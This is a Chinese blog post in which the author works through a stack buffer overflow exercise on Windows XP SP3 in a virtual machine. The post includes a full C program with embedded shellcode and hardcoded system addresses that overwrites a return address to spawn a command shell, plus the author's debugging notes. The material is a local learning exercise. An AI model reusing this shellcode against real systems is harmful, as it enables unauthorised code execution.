zoukankan      html  css  js  c++  java
  • 苦逼的缓冲区溢出

    这几天看缓冲区溢出

    Q版的那本,写的真是不错

    在虚拟机里实验

    各种苦逼啊~!

    可能是RP不好,VC6各种崩溃啊!!!

    最后写的汇编程序都没了,只剩下抄的shellcode

    唉,还有一个很蛋疼的问题一直无法解决

    先把代码放上去吧

    #include <windows.h>
    #include <stdio.h> 
    
    char name[] = 
    "\x41\x41\x41\x41"
    "\x41\x41\x41\x41"
    "\x41\x41\x41\x41"
    "\x12\x45\xfa\x7f"
    
    "\x55\x8B\xEC\x33\xFF\x57\x57\x57\x83\xEC\x0A\x4D\xC6\x04\x24\x6D"
    "\xC6\x44\x24\x01\x73\xC6\x44\x24\x02\x76\xC6\x44\x24\x03\x63\xC6\x44\x24\x04\x72\xC6\x44\x24\x05\x74"
    "\xC6\x44\x24\x06\x2E\xC6\x44\x24\x07\x64\xC6\x44\x24\x08\x6c\xC6\x44\x24\x09\x6C\x8B\xC4\x50"
    "\xB8\x7B\x1D\x80\x7c"//LoadLibrary地址:0X7C801D7B
    "\xFF\xD0"
    "\xB8\x21\xFE\x92\x7C\xFF\xD0"
    "\x83\xC4\x16\x5D"
    "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45\xF6\x6D"
    "\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63" 
    "\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50"
    "\xB8\xC7\x93\xBf\x77"//system地址
    "\xFF\xD0"
    "\x83\xC4\x10\x5D";
    
    void fun()
    {
        char output[8];
        //strcpy(output, name);
        memcpy(output, name, sizeof(name));
    }
    
    int main()
    {
        LoadLibrary("msvcrt.dll");
        fun();
        printf("%x",GetLastError);
        _asm
        {
            mov eax,7C92FE21h;
            call eax;
        }
        return 0;
    }

    这个程序在XP SP3上执行之后会运行CMD程序

    其中本来是在shellcode中执行loadlibrary的

    结果不知为何总是失败,返回0

    用OD跟进去始终没有发现问题

    在shellcode中loadlibrary后加了个GetLastError

    发现返回码是998——内存分配访问无效

    真是蛋碎

    泥煤的难道要我去看loadlibrary么~!!!

    唉,苦逼,只能先放着了

    最后先用C语言loadlibrary一下

    发现程序运行后顺畅地打开了CMD

    可以确定问题就在loadlibrary那里

    最后诅咒该死的VS2010

    我把代码放进去,编译链接,结果它直接提示我有缓冲区溢出

    囧~

    泥煤的要不要这么强大!!!

    害的我只好继续冒着崩溃的风险在VC6下玩了……

    loadlibrary的问题解决了

    原来是堆栈分配空间时没有四字节对齐

    唉,一个小问题让我蛋疼了这么久……

  • 相关阅读:
    游标定位:Cursor类
    拨号操作——android.intent.action.CALL
    按键——Button事件监听器
    文本框——EditText
    配置文件:mainfest.xml
    win7如何设置以管理员身份运行
    随机数:rand()
    std::string 和 CString问题
    文件操作:rewind()
    文件操作:fread()和fwrite()
  • 原文地址:https://www.cnblogs.com/02xiaoma/p/2634213.html
Copyright © 2011-2022 走看看